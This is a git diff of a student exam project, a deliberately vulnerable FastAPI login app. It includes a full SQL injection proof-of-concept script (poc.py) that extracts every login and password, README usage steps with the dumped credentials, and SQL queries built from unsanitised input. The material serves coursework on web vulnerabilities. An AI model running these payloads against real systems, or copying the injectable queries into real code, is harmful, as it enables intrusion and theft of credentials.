Compare commits

..

5 Commits

Author SHA1 Message Date
3086d1801d minimal visual improvements 2025-12-15 23:07:46 +10:00
5c4590ff16 vunerability added 2025-12-15 23:05:11 +10:00
c7d8803795 table creation added 2025-12-15 22:44:12 +10:00
9a1b84c267 minimal building container 2025-12-15 22:27:26 +10:00
d3e5abbc98 added readme (seems like i'm reaching my limits and getting tired) 2025-12-15 21:10:41 +10:00
30 changed files with 42 additions and 139 deletions

1
.gitignore vendored
View File

@@ -1,3 +1,4 @@
build
.vscode .vscode
**__pycache__ **__pycache__
data data

Binary file not shown.

Before

Width:  |  Height:  |  Size: 27 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 31 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 145 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 62 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 11 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 11 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 13 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 28 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 28 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 41 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 28 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 27 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 25 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 26 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 22 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 35 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 89 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 46 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 47 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 386 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 46 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 33 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 23 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 78 KiB

1
build
View File

@@ -1 +0,0 @@
docker build -t kulesh_web-app:v0.0.1a .

View File

@@ -1,7 +1,7 @@
services: services:
vunerable-web-app1: vunerable-web-app:
image: kulesh_web-app:v0.0.1a image: web-app:v0.0.1a
ports: ports:
- "21252:8000" - "80:8000"
volumes: volumes:
- ./data/:/app/data - ./data/:/app/data

39
poc.py
View File

@@ -1,39 +0,0 @@
#!/usr/bin/env python3
import requests
import re
import argparse
parser = argparse.ArgumentParser(description="Exploit script for extracting logins and passwords.")
parser.add_argument("--base-url", default="http://localhost:80", help="Base URL of the target application")
args = parser.parse_args()
BASE_URL = args.base_url
login_payload = "' UNION SELECT login FROM (Select * from users ORDER BY id)--"
form_data = {"login": login_payload, "password": "' OR 1=1--"}
response_logins = requests.post(f"{BASE_URL}/login", data=form_data, allow_redirects=True)
logins_raw = re.search(r"<h1>Привет,\s*([^<]*)</h1>", response_logins.text).group(1)
logins= logins_raw.split("',), ('")
passwords=[]
for login in logins:
password_payload = f"' UNION SELECT password FROM (Select * from users WHERE login='{login}')--"
form_data = {"login": password_payload, "password": "' OR 1=1--"}
response_password = requests.post(f"{BASE_URL}/login", data=form_data, allow_redirects=True)
password = re.search(r"<h1>Привет,\s*([^<]*)</h1>", response_password.text).group(1)
passwords.append(password)
if logins and passwords:
for i, (login, password) in enumerate(zip(logins, passwords)):
if login == "Administrator":
print(f"{'*' * 60}")
print(f" {i+1}. Логин: {login:<20} Пароль: {password} <-- !!! ВАЖНО !!!")
print(f"{'*' * 60}")
else:
print(f" {i+1}. Логин: {login:<20} Пароль: {password}")
else:
print("Не удалось извлечь данные.")

View File

@@ -1,54 +1,10 @@
!! Скриншоты без подписей, пожалуйста смотрите документ в yonote К сожалениюя я не любитель PHP, так что всё будет на питоне (Fastapi|Uvicorn)
К сожалениюя я не любитель PHP, так что всё будет на питоне (Fastapi)
# PC-Seq-Exam-WebApp
## Сборка
```sh
docker build -t kulesh_web-app:v0.0.1a .
```
## Запуск
```sh
docker compose up -d
```
## Регистрация через curl
```bash **На сервере Web написать уязвимое веб-приложение Весь проект писать на рабочем столе в папке Фамилия_Web_app, где “Фамилия” - это ваша настоящая фамилия**
curl -X POST http://10.254.252.100:801/register -d "login=Administrator&password=protected_by_sheer_will" -L
curl -X POST http://10.254.252.100:801/register -d "login=Kulesh_AB&password=bibaIboba2aboba" -L
```
## SQLi
в бреду намаслал Proof Of Concept
он мало что проверяет, но как я понял рабоатет, быть может за исклбчением когда
пользователь очень любит скобочки кавычки и пробелы)
для запуска ставим requests, 1. Реализовать страницу регистрации пользователей **(1.5 балла)**
```pip install requests``` 2. Реализовать страницу авторизации пользователей **(1.5 балла)**
в помошь) 3. Реализовать **Cookie (2 балла)**
```sh 4. Реализовать страницу **“приветствия пользователя”** (она должна выводить текст **“Привет, имя_пользователя”**) (Имя_пользователя, это переменная и должна равняться авторизованному пользователю), доступ на эту страницу только после авторизации **(2 балла)**
python ./poc.py --base-url http://aboba.eu 5. Обернуть готовое приложение в **Docker (3 балла)**
```
допустм что 2 пользователя зарегались с посмошью команд выше
```
./poc.py
************************************************************
1. Логин: Administrator Пароль: protected_by_sheer_will <-- !!! ВАЖНО !!!
************************************************************
2. Логин: Kulesh_AB Пароль: bibaIboba2aboba
```
Выполнил Кулеш А.Б.
Б9123-09.03.04
---
Он постоянно что-то ест, он постоянно что-то пьёт
Он быстро набирает вес, клянётся, что в спортзал пойдёт
Но продолжает что-то есть и продолжает что-то пить

View File

@@ -7,14 +7,12 @@ DB_PATH = "./data/database.db"
conn = sqlite3.connect(DB_PATH) conn = sqlite3.connect(DB_PATH)
cursor = conn.cursor() cursor = conn.cursor()
cursor.execute( cursor.execute("CREATE TABLE IF NOT EXISTS users (id INTEGER PRIMARY KEY AUTOINCREMENT, login TEXT NOT NULL UNIQUE, password TEXT NOT NULL)")
"CREATE TABLE IF NOT EXISTS users (id INTEGER PRIMARY KEY AUTOINCREMENT, login TEXT NOT NULL UNIQUE, password TEXT NOT NULL)"
)
app = FastAPI( app = FastAPI(
docs_url=None, # Disable Swagger UI docs_url=None, # Disable Swagger UI
redoc_url=None, # Disable ReDoc redoc_url=None, # Disable ReDoc
openapi_url=None, # Disable OpenAPI JSON schema openapi_url=None # Disable OpenAPI JSON schema
) )
STYLES = """ STYLES = """
@@ -29,7 +27,6 @@ body {
</style> </style>
""" """
@app.get("/register", response_class=HTMLResponse) @app.get("/register", response_class=HTMLResponse)
async def register_form(): async def register_form():
return f""" return f"""
@@ -47,21 +44,17 @@ async def register_form():
</html> </html>
""" """
@app.post("/register") @app.post("/register")
async def register(login: str = Form(...), password: str = Form(...)): async def register(login: str = Form(...), password: str = Form(...)):
try: try:
cursor.execute( cursor.execute("INSERT INTO users (login, password) VALUES (?, ?)", (login, password))
f"INSERT INTO users (login, password) VALUES ('{login}', '{password}')"
)
conn.commit() conn.commit()
response = RedirectResponse(url="/welcome", status_code=302) response = RedirectResponse(url="/welcome", status_code=302)
response.set_cookie("login", login) response.set_cookie("login", login)
response.set_cookie("password", password) response.set_cookie("password", password)
return response return response
except sqlite3.IntegrityError: except sqlite3.IntegrityError:
return HTMLResponse( return HTMLResponse(f"""
f"""
<html> <html>
<head><title>Ошибка регистрации</title>{STYLES}</head> <head><title>Ошибка регистрации</title>{STYLES}</head>
<body> <body>
@@ -69,10 +62,7 @@ async def register(login: str = Form(...), password: str = Form(...)):
<a href='/register'>Попробовать снова</a> <a href='/register'>Попробовать снова</a>
</body> </body>
</html> </html>
""", """, status_code=400)
status_code=400,
)
@app.get("/login", response_class=HTMLResponse) @app.get("/login", response_class=HTMLResponse)
async def login_form(): async def login_form():
@@ -91,21 +81,17 @@ async def login_form():
</html> </html>
""" """
@app.post("/login") @app.post("/login")
async def login(login: str = Form(...), password: str = Form(...)): async def login(login: str = Form(...), password: str = Form(...)):
cursor.execute( cursor.execute("SELECT * FROM users WHERE login=? AND password=?", (login, password))
f"SELECT login FROM users WHERE login='{login}' AND password='{password}'" user = cursor.fetchone()
)
user = cursor.fetchall()
if user: if user:
response = RedirectResponse(url="/welcome", status_code=302) response = RedirectResponse(url="/welcome", status_code=302)
response.set_cookie("login", login) response.set_cookie("login", login)
response.set_cookie("password", password) response.set_cookie("password", password)
return response return response
else: else:
return HTMLResponse( return HTMLResponse(f"""
f"""
<html> <html>
<head><title>Ошибка входа</title>{STYLES}</head> <head><title>Ошибка входа</title>{STYLES}</head>
<body> <body>
@@ -113,10 +99,7 @@ async def login(login: str = Form(...), password: str = Form(...)):
<a href='/login'>Попробовать снова</a> <a href='/login'>Попробовать снова</a>
</body> </body>
</html> </html>
""", """, status_code=401)
status_code=401,
)
@app.get("/welcome", response_class=HTMLResponse) @app.get("/welcome", response_class=HTMLResponse)
async def welcome(request: Request): async def welcome(request: Request):
@@ -124,32 +107,35 @@ async def welcome(request: Request):
password = request.cookies.get("password") password = request.cookies.get("password")
if not login or not password: if not login or not password:
return RedirectResponse(url="/login") return RedirectResponse(url="/login")
query=f"SELECT login FROM users WHERE login='{login}' AND password='{password}'" cursor.execute("SELECT * FROM users WHERE login=? AND password=?", (login, password))
print(f"executing: {query}") user = cursor.fetchone()
cursor.execute(
query
)
user = cursor.fetchall()
if user: if user:
return f""" return f"""
<html> <html>
<head><title>Добро пожаловать</title>{STYLES}</head> <head><title>Добро пожаловать</title>{STYLES}</head>
<body> <body>
<h1>Привет, {str(user)[3:-4]}</h1> <h1>Привет, {login}</h1>
<button onclick=" <form action="/logout" method="post" onsubmit="return logoutAlert();">
document.cookie = 'login=; expires=Thu, 01 Jan 1970 00:00:00 UTC; path=/;'; <button type="submit">Выйти</button>
document.cookie = 'password=; expires=Thu, 01 Jan 1970 00:00:00 UTC; path=/;'; </form>
window.location.href = '/login'; <script>
">Выйти</button> function logoutAlert() {{
alert('Вы вышли из аккаунта');
return true;
}}
</script>
</body> </body>
</html> </html>
""" """
else: else:
return RedirectResponse(url="/login") return RedirectResponse(url="/login")
@app.post("/logout")
async def logout():
response = RedirectResponse(url="/login", status_code=302)
response.delete_cookie("login")
response.delete_cookie("password")
return response
@app.get("/", include_in_schema=False) @app.get("/", include_in_schema=False)
async def root(): async def root():